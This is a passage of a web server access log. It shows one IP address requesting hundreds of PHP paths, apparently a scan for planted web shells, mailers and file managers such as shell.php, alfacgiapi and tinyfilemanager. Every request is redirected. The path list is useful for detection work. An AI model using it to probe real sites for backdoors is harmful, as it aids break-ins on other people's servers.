/kPC.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:11 -0400] "GET /kQqh695R1LY.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:12 -0400] "GET /kZETIbO4Lt7.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:13 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:14 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:15 -0400] "GET /lHcbBKS6ixn.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:16 -0400] "GET /layout.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:17 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:19 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:19 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:20 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:21 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:21 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:22 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:24 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:25 -0400] "GET /load.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:26 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:27 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:28 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:29 -0400] "GET /login?next=/.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:31 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:32 -0400] "GET /lpuDivJrIO7.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:33 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:34 -0400] "GET /luxx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:35 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:36 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:37 -0400] "GET /m.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:38 -0400] "GET /m5WcUgOwiIs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:39 -0400] "GET /m8DYVISz5fB.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:41 -0400] "GET /maHidu7t8ye.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:42 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:43 -0400] "GET /mah.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:45 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:46 -0400] "GET /mah/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:47 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:49 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:50 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:52 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:53 -0400] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:54 -0400] "GET /manage.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:56 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:57 -0400] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:59 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:01 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:05 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:09 -0400] "GET /mcs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:12 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:14 -0400] "GET /media/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:16 -0400] "GET /media/FgSEetRrDqi.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:19 -0400] "GET /media/Qfxs84PjD1c.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:20 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:22 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:23 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:25 -0400] "GET /moddofuns.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:26 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:28 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:29 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:30 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:31 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:32 -0400] "GET /moon.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:34 -0400] "GET /museumbuildingandsurroundingspace.com HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:35 -0400] "GET /mwioWRjdxDE.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:36 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:38 -0400] "GET /nFqJSTvuz43.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:39 -0400] "GET /nVEDxSgpTYq.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:39 -0400] "GET /nZVms37xXMW.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:41 -0400] "GET /nakrip.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:43 -0400] "GET /natural.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:43 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:45 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:45 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:46 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:47 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:48 -0400] "GET /nope.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:49 -0400] "GET /nowpf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:50 -0400] "GET /nz7AOl3hjic.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:51 -0400] "GET /nzouv.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:52 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:52 -0400] "GET /o1j5SBMHlRz.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:53 -0400] "GET /o7LSW.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:54 -0400] "GET /oRxHmTiQhWN.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:55 -0400] "GET /oUQD9iRdOhH.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:56 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:57 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:57 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:58 -0400] "GET /option-old.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:37:59 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:00 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:00 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:02 -0400] "GET /p HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:03 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:04 -0400] "GET /pHx9IqoXnlL.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:05 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:06 -0400] "GET /past.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:07 -0400] "GET /php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:09 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:10 -0400] "GET /php/?path=/home/jufu7693/public_html HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:12 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:12 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:13 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:14 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:14 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:15 -0400] "GET /pqyKOTiR2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:16 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:16 -0400] "GET /private/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:17 -0400] "GET /public/5.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:18 -0400] "GET /public/index.php/en HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:19 -0400] "GET /pvWDCdf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:19 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:20 -0400] "GET /q5nOTl9aAEQ.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:21 -0400] "GET /qCVobSth3u7.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:22 -0400] "GET /qc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:23 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:24 -0400] "GET /rO1GEuJydNZ.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:25 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:27 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:28 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:29 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:31 -0400] "GET /rbh/log.ph HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:32 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:33 -0400] "GET /readme.php/wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:34 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:35 -0400] "GET /rk1W6vMJj8y.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:36 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:37 -0400] "GET /root/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:38 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:39 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:40 -0400] "GET /sHS.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:41 -0400] "GET /sMG.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:42 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:43 -0400] "GET /sb.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:45 -0400] "GET /schema.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:46 -0400] "GET /secure/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:47 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:48 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:50 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:52 -0400] "GET /setup-config.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:54 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:56 -0400] "GET /shell.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:58 -0400] "GET /shell/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:38:59 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:00 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:01 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:02 -0400] "GET /shop/lock.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:03 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:05 -0400] "GET /sidebar.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:07 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:10 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:12 -0400] "GET /sim.php/wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:14 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:16 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:18 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:20 -0400] "GET /simple/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:21 -0400] "GET /site/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:23 -0400] "GET /sitemap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:24 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:25 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:26 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:26 -0400] "GET /storage/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:27 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:28 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:28 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:29 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:30 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:30 -0400] "GET /system//default.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:31 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:32 -0400] "GET /system_log.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:33 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:33 -0400] "GET /t4MyJ.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:35 -0400] "GET /tB.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:35 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:36 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:37 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:37 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:38 -0400] "GET /templates/natural.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:39 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:40 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:42 -0400] "GET /test.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:43 -0400] "GET /test/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:44 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:45 -0400] "GET /tghuGZVrERD.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:46 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:47 -0400] "GET /themes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:48 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:49 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:50 -0400] "GET /tiny.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:51 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:51 -0400] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:52 -0400] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:53 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:53 -0400] "GET /tkpKSqOfFIE.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:54 -0400] "GET /tmpls.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:55 -0400] "GET /tqy.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:55 -0400] "GET /tsRBxmo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:56 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:57 -0400] "GET /ty.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:58 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:58 -0400] "GET /uWjxHmRO9AM.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:39:59 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:00 -0400] "GET /up.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:00 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:01 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:02 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:03 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:04 -0400] "GET /upload/upload.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:05 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:07 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:09 -0400] "GET /uploads/.1/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:12 -0400] "GET /uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:14 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:16 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:18 -0400] "GET /used HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:21 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:23 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:25 -0400] "GET /uvrDZ.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:26 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:28 -0400] "GET /vSiY7GNIxVH.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:29 -0400] "GET /var/www/html/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:30 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:31 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:32 -0400] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:33 -0400] "GET /wcqLft7.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:34 -0400] "GET /we.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:35 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:36 -0400] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:38 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:38 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:39 -0400] "GET /winamp/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:40 -0400] "GET /wkG.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:41 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:42 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:42 -0400] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:43 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:44 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:45 -0400] "GET /wp-Owl.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:45 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:46 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:47 -0400] "GET /wp-admin.phphttps://diegun.com/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:48 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:49 -0400] "GET /wp-admin//fmadmin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:51 -0400] "GET /wp-admin/31eqRsJgQ6n.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:51 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 